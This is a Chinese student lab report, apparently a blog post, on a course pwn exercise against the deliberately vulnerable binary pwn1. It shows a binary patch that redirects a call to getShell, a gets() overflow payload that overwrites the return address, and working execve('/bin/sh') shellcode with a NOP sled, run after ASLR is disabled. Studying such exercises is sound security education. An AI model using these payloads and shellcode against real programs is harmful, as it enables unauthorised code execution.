20253912 2025-2026-2 《网络攻防实践》第九次作业报告

20253912 2025-2026-2 《网络攻防实践》第九次作业报告

1. 实践内容与知识梳理总结

1.1 本次实践目标

本次实践对象是一个名为 pwn1 的 Linux 可执行文件。该程序的正常执行流程为:main 函数调用 foo 函数,foo 函数读取用户输入并简单回显输入内容。与此同时,程序中还包含一个正常流程下不会被调用的 getShell 函数,该函数一旦被执行,就可以返回一个可用 Shell。

本次实验的核心目标不是“运行程序得到回显”,而是通过二进制分析和漏洞利用改变程序控制流,使程序执行到原本不会执行的目标代码。实验内容主要包括三部分:

  1. 手工修改可执行文件:直接修改机器指令,把 main 中原本调用 foo 的指令改为调用 getShell
  2. 利用 BOF 覆盖返回地址:构造攻击输入字符串,利用 foo()gets() 造成的栈溢出覆盖返回地址,使程序返回到 getShell
  3. 注入自制 shellcode:将 shellcode 放入输入数据中,再让程序跳转到栈上执行这段机器码。

从难度上看,三部分是逐步递进的:第一部分是“修改已有指令”,第二部分是“利用已有函数”,第三部分是“执行自己注入的代码”。它们共同体现了 pwn 实验中最基础也最重要的思想:程序执行流本质上由指令地址控制,只要能控制跳转地址,就能改变程序行为。

1.2 ELF 文件与反汇编分析

Linux 下的可执行文件通常采用 ELF(Executable and Linkable Format)格式。ELF 文件中包含程序头、节区、代码段、数据段、动态链接信息等内容。对 pwn 程序进行分析时,首先要判断文件架构,例如本次程序为 elf32-i386,说明其是 32 位 x86 程序。

在实验中常用如下命令进行反汇编:

objdump -d pwn20253912zgy | more

objdump -d 的作用是把机器码反汇编为汇编指令,帮助我们定位 mainfoogetShell 等关键函数。这里需要注意,反汇编不是还原 C 源码,而是从机器指令层面观察程序逻辑。对本实验来说,反汇编的重点不在于看懂所有函数,而是找到以下几个关键位置:

关键位置 作用 本次实验中的意义
main 程序主入口 判断正常调用流程,找到 call foo 指令
foo 输入与回显函数 定位 gets() 输入点和栈溢出漏洞
getShell 隐藏目标函数 作为任务一和任务二的跳转目标
gets@plt 不安全输入函数 不检查输入长度,是 BOF 的根源
system@plt 系统命令执行函数 说明程序具备返回 Shell 的能力

1.3 x86 指令、机器码与相对偏移

本次实验要求掌握 NOPJNEJEJMPCMP 等常见汇编指令的机器码。它们在二进制修改和 shellcode 构造中都非常重要。

汇编指令 常见机器码 作用说明
NOP 90 空操作指令,不改变寄存器和内存状态,常用于 NOP sled
JMP short EB xx 短距离无条件跳转,xx 为 1 字节相对偏移
JMP near E9 xx xx xx xx 近跳转,使用 4 字节相对偏移
CALL near E8 xx xx xx xx 函数调用,后 4 字节为相对偏移
JE/JZ 74 xx0F 84 xx xx xx xx 当零标志位 ZF=1 时跳转
JNE/JNZ 75 xx0F 85 xx xx xx xx 当零标志位 ZF=0 时跳转
CMP 取决于操作数,如 83 /7 ib39 /r 比较两个操作数,只影响标志位,不保存结果

任务一中修改的是 call rel32 指令。需要特别注意的是,call 后面的 4 字节并不是目标函数的绝对地址,而是“目标地址相对于下一条指令地址的偏移量”。本实验中原始指令为:

e8 d7 ff ff ff    call 8048491 <foo>

如果要改成调用 getShell,需要重新计算相对偏移:

目标地址 getShell = 0x0804847d
call 下一条指令地址 = 0x080484ba
相对偏移 = 0x0804847d - 0x080484ba = -0x3d = 0xffffffc3
小端序写入 = c3 ff ff ff

因此修改后的机器码为:

e8 c3 ff ff ff

这一步体现了二进制补丁的关键:不是简单替换函数名,而是在机器码层面修改 CPU 实际执行的跳转目标。

1.4 栈帧、返回地址与 BOF 漏洞

在 32 位 x86 程序中,函数调用通常会建立栈帧。ebp 用于定位当前函数栈帧,esp 指向栈顶。函数执行完毕时,ret 指令会从栈顶取出 4 字节作为新的 eip,程序随后跳转到该地址继续执行。

本次实验中 foo() 函数的关键代码如下:

lea -0x1c(%ebp), %eax
call gets@plt

这说明 gets() 的输入缓冲区起始位置为 ebp - 0x1c。由于 0x1c = 28,再加上 saved ebp 占 4 字节,因此从缓冲区起始位置到返回地址的偏移为:

0x1c + 4 = 28 + 4 = 32 字节

所以任务二中的 payload 可以设计为:

32 字节填充 + getShell 地址

getShell 地址为 0x0804847d,在小端序中应写成:

\x7d\x84\x04\x08

这一步让我理解到,栈溢出不是单纯让程序崩溃,而是通过精确覆盖返回地址,让 CPU 在函数返回时执行我们指定的地址。

1.5 Shellcode、NOP sled、ASLR 与 NX

Shellcode 是可以直接被 CPU 执行的一段机器码。本次实验中使用的 shellcode 主要功能是触发 32 位 Linux 的 execve("/bin/sh") 系统调用,从而获得 Shell。与任务二不同,任务二跳转到程序已有的 getShell,而任务三是把代码本身注入到输入中。

任务三的 payload 结构为:

32 字节填充 + 栈地址 + NOP sled + shellcode

其中,NOP sled 由大量 0x90 组成。它的作用是提高地址容错率:只要返回地址落在 NOP 区域内,CPU 就会一路执行空操作,最终滑到真正的 shellcode。实验中如果看到栈中连续出现 0x90909090,就说明 NOP 区域已经成功写入。

同时,shellcode 注入还受到两类保护机制影响:

  • ASLR:地址空间随机化会导致栈地址每次变化,因此实验中需要通过 kernel.randomize_va_space=0 关闭;
  • NX:不可执行栈会阻止 CPU 执行栈上的代码,因此需要用 checksecreadelf 检查栈是否可执行。

本实验中,通过 GDB 观察到返回地址被覆盖到栈上 NOP 区域,并继续执行后出现 /usr/bin/dash,说明 shellcode 已成功触发 /bin/sh

1.6 本次实验与前几次作业的联系

本次第九次作业虽然主题是 pwn 与二进制漏洞利用,但并不是孤立内容,而是建立在前面多次网络攻防实践的基础之上。

(1)与第二次作业的联系:从信息收集到二进制识别

第二次作业重点是信息收集与服务识别。本次实验同样需要先识别目标,只不过对象从网络主机变成了本地 ELF 文件。fileobjdump、函数地址定位,本质上都是“先弄清目标是什么、关键入口在哪里”。

(2)与第三次作业的联系:从流量分析到执行流分析

第三次作业训练的是抓包和协议字段分析,本次实验训练的是汇编指令和栈帧分析。两者都要求从大量底层信息中找关键证据:协议分析看字段和会话,pwn 分析看地址、指令、寄存器和栈内容。

(3)与第四次作业的联系:从协议缺陷到程序缺陷

第四次作业强调 ARP、ICMP、TCP 等协议设计缺陷可能被利用。本次实验则体现程序实现缺陷也能导致安全问题。gets() 不检查输入长度,就像协议缺少认证一样,都会成为攻击入口。

(4)与第五次作业的联系:从防御设备到系统保护机制

第五次作业涉及防火墙、IDS 与蜜网防御。本次实验中的 ASLR、NX、栈权限检查可以看作主机层面的防御机制。它们不像防火墙那样过滤网络流量,而是直接限制程序控制流劫持和栈上代码执行。

(5)与第六次作业的联系:从漏洞利用结果到漏洞利用机理

第六次作业更偏向 Windows 远程漏洞利用与取证复盘。本次实验则深入到漏洞利用的底层机制:为什么返回地址能被覆盖、为什么跳转地址要小端序、为什么 ret 会改变 eip。这让前面“拿到 Shell”的过程变得更容易理解。

(6)与第七次作业的联系:从 Samba 利用到控制流劫持

第七次作业使用 Metasploit 对 Linux Samba 漏洞进行利用。本次实验没有依赖框架,而是手工构造 payload。两者目标都是改变目标程序行为,但第九次作业更强调底层原理和手工验证。

(7)与第八次作业的联系:从逆向分析到漏洞利用

第八次作业涉及恶意代码逆向和 Crackme 分析,第九次作业直接延续了反汇编、字符串、函数调用和控制流判断能力。第八次更像“读懂程序”,第九次则是在读懂程序后进一步“改变程序执行路径”。

知识拓扑图:

ChatGPT Image 2026年6月5日 12_30_26


2. 实践过程

2.1 实验环境准备与程序初步分析

2.1.1 实验要求

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.1.2 实验过程展示

在本次实验中需要用到实验环境为kali虚拟机。

首先,在学习通下载本次实验所需的文件资料pwn1:
image-20260525134416352

在拖移到桌面解压:
image-20260525134509216

修改kali主机的名称为名字Zhanggaoyi
通过使用以下命令修改虚拟机名称,修改完成后重新打开终端:

sudo su //打开root终端

hostname //查询终端名字

hostname Zhanggaoyi //更改终端名称
hostname //再次查询验证是否更改

这里需要注意的是更改主机名需要打开root终端进行操作!
重启虚拟机终端查看,发现更改成功:
image-20260520161102409

查看kali桌面从学习通下载的pwn1文件,并使用以下命令修改pwn1文件名,使得包含自己学号+名字缩写:

ls //查询

cd Desktop //跳转到桌面文件

ls //查询

mv pwn1 pwn20253912zgy //更改名称

ls //查看文件验证是否修改成功

image-20260525134718968

使用以下命令对pwn文件进行反编译,并利用管道进行分页显示:

objdump -d pwn20253912zgy | more

image-20260525134819559

使用 objdump 初步查看 ELF 程序的反汇编结构,后续需要重点定位 mainfoogetShell
在这里插入图片描述

image-20260525135057938

PLT 表中出现 gets@pltputs@pltsystem@plt,分别对应输入、输出和系统命令执行能力。
按住回车键,可以往下翻页并继续查看反编译内容。
image-20260525135136505

可以看到main主函数。
image-20260525135343554

定位到 main 函数,是分析程序正常调用链 main -> foo 的关键位置。

最后部分为<fini>:

image-20260525135511064

该文件展示的是一个典型的 32 位 ELF 栈溢出程序。程序主函数调用 foo(),而 foo() 中使用了不安全的 gets() 函数读取用户输入,导致输入长度超过局部缓冲区后可以覆盖函数返回地址。程序中还存在一个未被正常调用的 getShell() 函数,该函数内部调用 system(),因此攻击者可以通过构造溢出数据,将 foo() 的返回地址覆盖为 getShell() 的地址,从而改变程序控制流。该题的关键分析点是确定缓冲区位置、计算返回地址偏移,以及找到可利用的目标函数地址。

1. 文件基本信息

文件开头显示:

image-20260525140039009

文件格式为 elf32-i386,说明该程序是 32 位 x86 Linux 可执行文件。

pwn20253912zgy: file format elf32-i386

说明该程序是 32 位 i386 架构 ELF 文件,运行环境应为 Linux 32 位或兼容环境。

程序中 PLT 表包含几个关键函数:

08048330 <gets@plt>
08048340 <puts@plt>
08048350 <system@plt>

其中最重要的是 getssystemgets() 是典型不安全输入函数,不检查输入长度;system() 则说明程序中存在调用系统命令的能力。

2. 程序核心流程

程序入口最终会调用 main,而 main 的逻辑非常简单:

image-20260525140131056

main 中的 call 8048491 <foo> 说明程序正常流程会进入 foo()

080484af <main>:
 80484b5: e8 d7 ff ff ff  call 8048491 <foo>

也就是说,程序运行后会直接进入 foo() 函数。

foo() 的关键代码如下:

image-20260525140211855

foo() 中同时出现 gets()puts(),其中 gets() 是后续栈溢出的核心风险点。

08048491 <foo>:
 8048494: 83 ec 38        sub $0x38,%esp
 8048497: 8d 45 e4        lea -0x1c(%ebp),%eax
 804849d: e8 8e fe ff ff  call 8048330 <gets@plt>
 80484a8: e8 93 fe ff ff  call 8048340 <puts@plt>
 80484ad: c9              leave
 80484ae: c3              ret

可以还原成类似 C 代码:

void foo() {
    char buf[28];
    gets(buf);
    puts(buf);
}

这里的核心问题是:buf 位于 ebp - 0x1c,也就是距离保存的 ebp0x1c = 28 字节,而 gets() 不限制输入长度,因此输入超过缓冲区后,就会覆盖保存的 ebp 和函数返回地址。

3. 隐藏函数 getShell

程序中存在一个非常关键的函数:

image-20260525140255831

getShell() 内部调用 system@plt,是本次实验希望通过控制流劫持触发的目标函数。

0804847d <getShell>:
 8048483: c7 04 24 60 85 04 08  movl $0x8048560,(%esp)
 804848a: e8 c1 fe ff ff        call 8048350 <system@plt>

这个函数会调用:

system(0x8048560)

虽然当前反汇编片段没有展示 .rodata 区域内容,但从函数名 getShellsystem() 调用方式来看,0x8048560 处很可能保存的是类似 /bin/sh 的字符串。也就是说,只要能让程序执行流跳转到 0x0804847d,就可能触发 shell。

4. 漏洞点分析

漏洞点在 foo() 函数中的 gets()

image-20260525140322578

gets@plt 不检查输入长度,因此输入超过缓冲区后可能覆盖 saved EBP 和返回地址。

804849d: call 8048330 <gets@plt>

gets() 会一直读取用户输入,直到遇到换行符,但它不知道目标缓冲区大小。所以如果输入内容超过 buf 的空间,就会覆盖栈上的内容。

buf 起始位置:ebp - 0x1c
        ↓ 28 字节
保存的 ebp
        ↓ 4 字节
返回地址

因此,从 buf 开始到返回地址的偏移为:

0x1c + 4 = 28 + 4 = 32 字节

也就是说,前 32 字节用于填充,接下来的 4 字节会覆盖返回地址。

关键地址为:

getShell 地址:0x0804847d
溢出偏移:32 字节

payload 结构可以表示为:

填充 32 字节 + getShell 函数地址

由于是 32 位小端序,0x0804847d 在内存中应按小端方式写入。

原始指令位于:

0x080484b5

call 指令长度是 5 字节,所以下一条指令地址是:

0x080484ba

目标地址是:

0x0804847d

所以相对偏移为:

0x0804847d - 0x080484ba = -0x3d

转换为 32 位补码:

0xffffffc3

小端序写入:

c3 ff ff ff

因此新的机器码为:

e8 c3 ff ff ff

原来的机器码是:

e8 d7 ff ff ff

只需要把 d7 改成 c3 即可:

2.2 实践任务一:手工修改可执行文件,让程序直接跳到 getShell

先复制一下文件以防万一:

image-20260525144501202

image-20260525144541553

1.查看原始 call 指令机器码
xxd -g 1 -s 0x4b5 -l 5 pwn1_patch

image-20260525144555711

原始机器码为 e8 d7 ff ff ff,对应 call foo,是手工补丁需要修改的位置。

其中:

e8 d7 ff ff ff

就是原来的 call foo

2.修改机器码
printf '\xe8\xc3\xff\xff\xff' | dd of=pwn1_patch bs=1 seek=$((0x4b5)) conv=notrunc

image-20260525144816454

通过 dd 写入 e8 c3 ff ff ff,将调用目标由 foo 改为 getShell

3.验证是否成功
xxd -g 1 -s 0x4b5 -l 5 pwn1

image-20260525145008073

再次查看偏移处机器码,确认 d7 已改为 c3,二进制补丁生效。

这说明已经把 call foo 改成了 call getShell

5.运行修改后的程序
chmod +x pwn1
echo 'id; whoami; exit' | ./pwn1

image-20260525145157362

运行修改后的程序并执行 idwhoami,说明程序已经直接进入 getShell() 返回的 Shell。

这说明程序已经直接执行了 getShell(),并进入了 /bin/sh

同时也可以进入pwn1文件中进行交互:

image-20260525145526288

交互式命令能够正常执行,进一步验证任务一控制流修改成功。

执行 idwhoami,说明 shell 成功

再次执行进入

objdump -d pwn1 | more

image-20260525150003123

再次反汇编可确认调用目标已经从 foo 变为 getShell

成功覆盖!!!

2.3 实践任务二:利用 BOF 覆盖返回地址,触发 getShell

(cat payload_ret2win; echo 'id; whoami; exit') | ./pwn1

构造输入,让 foo() 返回时跳到 getShell()

根据反汇编:

buf 起始位置:ebp - 0x1c
0x1c = 28 字节
saved ebp = 4 字节

所以覆盖返回地址需要:

28 + 4 = 32 字节

getShell 地址:

0x0804847d

32 位小端序写法:

\x7d\x84\x04\x08

payload 结构:

"A" * 32 + "\x7d\x84\x04\x08"
1.生成 payload 文件
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x7d\x84\x04\x08")' > payload_ret2win

image-20260525150559501

生成 ret2win payload:前 32 字节用于填充,后 4 字节用于覆盖返回地址。

2.查看文件:
xxd payload_ret2win

image-20260525150638720

payload 末尾为 7d 84 04 08,即 getShell 地址 0x0804847d 的小端序。

3.运行 payload
(cat payload_ret2win; echo 'id; whoami; exit') | ./pwn20253912zgy

image-20260525151418948

第一次运行 payload 出现段错误,提示需要检查换行、输入保持以及返回后的控制流。

4.用 GDB 验证返回地址是否被覆盖
gdb -q ./pwn20253912zgy

发现没有下载GDB,进行下载

image-20260525151635750

5.更新apt:

image-20260525192606154

6.下载gdb:

image-20260525192638297

查看gdb版本:

image-20260525192738743

7.进入gdb
gdb -q ./pwn20253912zgy

image-20260525192928726

8.在 fooret 指令下断点

根据反汇编,foo() 末尾:

80484ad: leave
80484ae: ret

所以断点设在 0x080484ae

b *0x080484ae

image-20260525193411425

0x080484ae 处设置断点,用于观察 foo() 执行 ret 前的栈顶返回地址。


9.使用 payload 运行程序
run < payload_ret2win

image-20260525193451485

使用 payload 在 GDB 中运行程序,使程序停在返回前,便于检查返回地址是否被覆盖。

10.查看栈顶返回地址
x/8wx $esp

image-20260525193517216

查看 $esp,重点确认栈顶是否已经变成 0x0804847d

11.单步执行 ret,查看是否跳到 getShell
si
x/i $eip

image-20260525194513389

此时仍需区分“停在 ret 前”和“执行 ret 后”,不能只凭 $eip 立即判断失败。

出现了问题:未找到

单独实行命令:
x/i $eip

image-20260525194825122

$eip 仍位于 foo+29: ret,说明当前只是停在返回指令前。

与标准不相符,应该为

0x804847d <getShell>:        push   %ebp
先运行:
si
再运行:
x/i $eip

image-20260525195253139

先执行 si 再查看 $eip,可以看到程序跳转到 getShell,证明返回地址覆盖成功。

得到预期结果!!!

这就证明程序执行流已经被 payload 改到了 getShell()

退出 GDB:

q

image-20260525200005710

2.4 实践任务三:注入 shellcode 并运行

1.关闭 ASLR
sudo sysctl -w kernel.randomize_va_space=0

image-20260525221237292

关闭 ASLR,使栈地址更稳定,便于后续 shellcode 注入实验。

查看状态:
cat /proc/sys/kernel/randomize_va_space

image-20260525221320130

randomize_va_space0,说明地址随机化已关闭。

最后输出是 0,说明地址随机化关闭成功。

2.查看 NX 保护
安装工具:
sudo apt update
sudo apt install -y checksec

image-20260525221551105

查看保护:

checksec --file=./pwn20253912zgy

image-20260525221616339

checksec 结果用于判断 NX、PIE 等保护状态,影响 shellcode 能否在栈上执行。

3.用 GDB 找 shellcode 跳转地址

这里选择让返回地址跳到 ret 后面的栈位置,即:

$ebp + 8
输入指令:
SCADDR=$(gdb -q ./pwn20253912zgy \
  -ex 'set confirm off' \
  -ex 'b *0x0804849d' \
  -ex 'run' \
  -ex 'p/x $ebp+8' \
  -ex 'quit' 2>/dev/null | awk '/\$1 =/{print $3}')

echo $SCADDR

输出地址0xffffcf30

image-20260525222112302

通过 GDB 获取 $ebp+8 处的栈地址,并将其作为 shellcode payload 的返回地址依据。

4.生成 shellcode payload

确认刚才的变量存在:

echo $SCADDR

image-20260525222312226

执行:
export SCADDR
python3 - << 'PY'
import os, struct

scaddr = int(os.environ["SCADDR"], 16)

shellcode = (
    b"\x31\xc0"
    b"\x50"
    b"\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e"
    b"\x89\xe3"
    b"\x50"
    b"\x53"
    b"\x89\xe1"
    b"\x99"
    b"\xb0\x0b"
    b"\xcd\x80"
)

payload = b"A"*32
payload += struct.pack("<I", scaddr)
payload += b"\x90"*200
payload += shellcode
payload += b"\n"

open("payload_shellcode", "wb").write(payload)

print("shellcode address =", hex(scaddr))
print("payload length =", len(payload))
PY

image-20260525222425033

生成 shellcode payload,结构为:32 字节填充 + 栈地址 + NOP sled + shellcode。

查看 payload:
xxd payload_shellcode | head

image-20260525222506053

十六进制结果中可见连续 90,说明 NOP sled 已写入 payload。

5.运行 shellcode payload
(cat payload_shellcode; echo 'id'; echo 'whoami'; echo 'pwd'; echo 'exit') | ./pwn20253912zgy

image-20260525223101160

普通终端直接运行失败,说明 GDB 环境和普通运行环境中的栈地址可能存在差异。

与预期不符。

分析原因:GDB 中看到的栈地址,和普通终端直接运行时的栈地址可能不一样。

也就是说, GDB 得到的 SCADDR 可能是:0xffffxxxx

但程序真实运行时,shellcode 不一定还在这个位置。于是返回地址跳偏了,就出现了 illegal hardware instruction

先关闭ASLR:
sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space

image-20260525223251429

进入 GDB 获取地址
gdb -q ./pwn20253912zgy
输入:
b *0x0804849d
run
p/x $ebp+8
q

得到输出地址$1 = 0xffffcf10

image-20260525223643817

在 GDB 中重新获取更准确的栈地址 0xffffcf10,用于重新构造 shellcode payload。

用这个地址重新生成 payload
python3 - << 'PY'
import struct

scaddr = 0xffffcf10   

shellcode = (
    b"\x31\xc0"
    b"\x50"
    b"\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e"
    b"\x89\xe3"
    b"\x50"
    b"\x53"
    b"\x89\xe1"
    b"\x99"
    b"\xb0\x0b"
    b"\xcd\x80"
)

payload = b"A"*32
payload += struct.pack("<I", scaddr)
payload += b"\x90"*300
payload += shellcode
payload += b"\n"

open("payload_shellcode", "wb").write(payload)

print("shellcode address =", hex(scaddr))
print("payload length =", len(payload))
PY

得到:

image-20260525223945769

根据新的栈地址重新生成 payload,并增加 NOP sled 提高跳转容错率。

查看:
xxd payload_shellcode | head

image-20260525224008925

重新查看 payload,可确认 NOP sled 和 shellcode 已经写入。

在 GDB 中运行 payload
gdb -q ./pwn20253912zgy
输入:
run < payload_shellcode

image-20260525224348725

GDB 中出现 /usr/bin/dash,说明 shellcode 已成功触发 /bin/sh

成功迹象:

process 355062 is executing new program: /usr/bin/dash

说明shellcode 已经触发了 execve("/bin/sh"),而 Kali 里的 /bin/sh 通常链接到 /usr/bin/dash,shellcode 已经执行成功了。

继续运行:
b *0x080484ae
run < payload_shellcode

image-20260527094211223

进入 dash 后继续使用原程序断点会报错,因为当前调试对象已经不再是 pwn 程序。

出现了警告!

于是退出 GDB,重新加载 pwn 程序

image-20260527094311133

重新进入GDB
gdb -q ./pwn20253912zgy
进入 GDB 后,先确认加载的是 pwn 程序:
info files

image-20260527094657079

小总结:

在 GDB 中运行 payload_shellcode 后,程序输出输入缓冲区内容,随后出现 process is executing new program: /usr/bin/dash。由于本实验 shellcode 的功能是执行 /bin/sh,而 Kali 中 /bin/sh 通常链接到 /usr/bin/dash,因此该现象说明 shellcode 已经被成功执行,程序控制流已经从原程序跳转到注入的 shellcode。

进入 GDB 后运行:
delete breakpoints
b *0x080484ae
run < payload_shellcode

image-20260527095233538

重新设置 ret 断点并运行 payload,用于验证返回地址是否跳入 shellcode 区域。

然后输入:
x/i $eip

image-20260527095259980

$eip 位于 foo+29: ret,说明程序停在函数返回前。

这说明程序停在 ret

继续看栈顶:
x/12wx $esp

image-20260527095528863

$esp 栈顶为栈地址,后面连续出现 0x90909090,说明返回地址指向 NOP sled。

继续输入:
si
然后查看当前指令:
x/10i $eip

image-20260527095704010

单步执行后 $eip 跳到栈上 NOP 区域,证明控制流已经进入注入的 payload。

说明程序已经从 ret 跳到了栈上的 NOP 滑梯

继续执行:
c

image-20260527095745711

继续执行后进入 /usr/bin/dash,说明 shellcode 已成功触发 /bin/sh

说明 shellcode 成功执行了 /bin/sh,在 Kali 中 /bin/sh 通常链接到 /usr/bin/dash

小总结:

foo()ret 指令前查看 $esp,可以看到栈顶第一个值为 0xffffcf10,这是 payload 覆盖后的返回地址;其后连续出现 0x90909090,说明返回地址指向了 NOP 滑梯区域。该结果证明返回地址已经被成功覆盖,下一步执行 ret 后程序会跳转到栈上的 shellcode 区域。

6.生成带命令的 shellcode 输入文件
回到 Kali 终端执行:
cp payload_shellcode payload_shellcode_cmd
printf 'id\nwhoami\npwd\nexit\n' >> payload_shellcode_cmd
查看文件末尾:
tail -n 5 payload_shellcode_cmd

image-20260527101000755

idwhoamipwdexit 追加到 payload 后,用于验证 Shell 是否能执行命令。

7.用 GDB 运行带命令的 payload

重新进入 GDB:

gdb -q ./pwn20253912zgy

不设断点,直接运行:

run < payload_shellcode_cmd

image-20260527101147176

直接重定向运行时虽然进入 dash,但命令未输出,说明可能存在输入缓冲或 EOF 问题。

这说明shellcode 已经成功触发了 /bin/sh,但 payload_shellcode_cmd 后面追加的命令可能没有成功写进去,或者 shell 启动后没有读到后续命令。

8.先检查命令有没有追加进去
tail -c 80 payload_shellcode_cmd | xxd -g 1

image-20260527101656745

检查 payload 末尾可见 id/whoami/pwd/exit,确认命令已经正确追加。

所以问题不是“命令没追加进去”,而是运行 run < payload_shellcode_cmd 时,程序里的 gets() 可能通过标准输入缓冲机制把后面的命令也提前读走了。等 shellcode 执行 /bin/sh 之后,dash 看到的标准输入已经接近 EOF,所以它直接正常退出,没有执行 id / whoami / pwd

9.用管道延迟输入命令

先回到普通终端里操作:

执行:

(cat payload_shellcode; sleep 1; printf 'id\nwhoami\npwd\nexit\n') | ./pwn20253912zgy

image-20260527102326168

普通管道延迟输入仍失败,说明普通运行环境下的栈地址与 GDB 环境仍可能不一致。

依旧没有uid=1000(kali) gid=1000(kali) groups=... kali /home/kali/Desktop

10.更换策略用GDB+FIFO

因为之前在 GDB 中已经能看到 /usr/bin/dash,所以可以用命名管道让 GDB 运行时也延迟送入命令

先退出当前 GDB,然后在普通终端执行:
rm -f inpipe
mkfifo inpipe

image-20260527102547303

开一个后台写入进程:
(cat payload_shellcode; sleep 1; printf 'id\nwhoami\npwd\nexit\n') > inpipe &

image-20260527102600924

然后进入 GDB:
gdb -q ./pwn20253912zgy
在 GDB 里执行:
run < inpipe

image-20260527102622882

使用 GDB + FIFO 后成功执行 id/whoami/pwd,说明 shellcode 不仅触发 shell,也能执行后续命令。

终于成功!!!

证明 shellcode 执行,也证明 shell 成功执行了命令!!!


3. 学习中遇到的问题及解决

3.1 问题一:payload 运行后只出现回显和段错误,没有真正执行 Shell 命令

问题表现:

在实践任务二中,最开始执行如下命令时:

(cat payload_ret2win; echo 'id; whoami; exit') | ./pwn20253912zgy

终端只回显了大量 A 和后面的命令字符串,随后出现 segmentation fault,但没有看到 uid=...whoami 等命令结果。

原因分析:

这个问题的关键在于输入流的分界。gets() 会一直读取直到遇到换行符。如果生成的 payload_ret2win 末尾没有加入 \n,那么后面的 id; whoami; exit 可能会被 gets() 一起读入,而不是留给 getShell() 启动后的 Shell 执行。这样虽然程序发生了溢出,但后续命令没有真正交给 Shell。

解决方案:

重新生成带换行符的 payload:

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x7d\x84\x04\x08" + b"\n")' > payload_ret2win

再使用:

(cat payload_ret2win; echo 'id'; echo 'whoami'; echo 'pwd'; echo 'exit') | ./pwn20253912zgy

同时,在 GDB 中通过 x/8wx $espsi 验证返回地址是否变为 0x0804847d。如果 $esp 栈顶出现 0x0804847d,并且单步后 $eip 跳到 getShell,就说明 BOF 覆盖返回地址成功。

3.2 问题二:shellcode 普通运行失败,GDB 中进入 /usr/bin/dash 后断点失效

问题表现:

在实践任务三中,普通终端直接运行 shellcode payload 时出现:

illegal hardware instruction
broken pipe

而在 GDB 中运行 payload_shellcode 后,出现:

process is executing new program: /usr/bin/dash

但继续设置 b *0x080484ae 时又报错:

Cannot access memory at address 0x80484ae

原因分析:

普通终端和 GDB 环境下的栈地址可能存在差异,即使关闭 ASLR,输入环境和进程启动方式也会影响栈布局。因此,用 GDB 获取的 SCADDR 在普通运行时可能发生偏移,导致返回地址没有准确落入 NOP sled,从而出现非法指令。

另一方面,process is executing new program: /usr/bin/dash 并不是失败,而是成功迹象。因为本实验 shellcode 的目标是执行 /bin/sh,而 Kali 中 /bin/sh 通常链接到 /usr/bin/dash。一旦程序变成 dash,GDB 当前调试对象就不再是原始 pwn 程序,所以原程序中的 0x080484ae 地址在 dash 中不存在,继续下断点就会失败。

解决方案:

首先以 GDB 验证为主,确认以下证据链:

b *0x080484ae
run < payload_shellcode
x/12wx $esp
si
x/10i $eip
c

如果 $esp 第一项是栈地址,后面连续出现 0x90909090,并且 si$eip 跳到 NOP 区域,就说明返回地址已经成功跳到 shellcode 区域。继续执行后出现 /usr/bin/dash,说明 shellcode 执行成功。

若还需要执行 idwhoamipwd 等命令,可以使用 GDB + FIFO 延迟输入命令:

rm -f inpipe
mkfifo inpipe
(cat payload_shellcode; sleep 1; printf 'id\nwhoami\npwd\nexit\n') > inpipe &
gdb -q ./pwn20253912zgy

在 GDB 中执行:

run < inpipe

最终出现 /usr/bin/dash 且能执行 id/whoami/pwd,即可证明 shellcode 注入和命令执行均成功。


4. 实践总结

通过第九次作业,我对“拿到 Shell”背后的底层原理有了更直观的理解。以前更多是依赖工具或现成命令看到 Shell 出现,而这次通过修改机器码、计算 call 指令相对偏移、构造 payload、覆盖返回地址,我真正看到了程序执行流是如何被一步步改变的。尤其是在 GDB 中观察 $esp$eip 的变化后,栈溢出不再只是一个概念,而是变成了可以在内存和寄存器中清楚看到的过程。

这次实验也让我认识到,pwn 实验不能只看最终结果,还要理解每个异常背后的原因。比如 shellcode 注入过程中涉及 ASLR、NX、NOP sled、栈地址偏移等问题,普通运行和 GDB 环境也可能导致结果不同。总体来说,这次作业让我从“会照着命令跑”进一步转向“能解释为什么这样跑”,也让我对二进制程序、栈结构和漏洞利用有了更深的认识。


参考资料

  • 《网络攻防实践》课程实验材料:pwn1 栈溢出实验
  • Linux objdumpgdbxxdreadelf 命令帮助文档
  • x86 汇编基础:函数调用、栈帧、callret、小端序与相对偏移
  • 32 位 Linux Shellcode 基础:execve("/bin/sh")int 0x80
posted @ 2026-05-27 10:50  Haut_XXS  阅读(20)  评论(0)    收藏  举报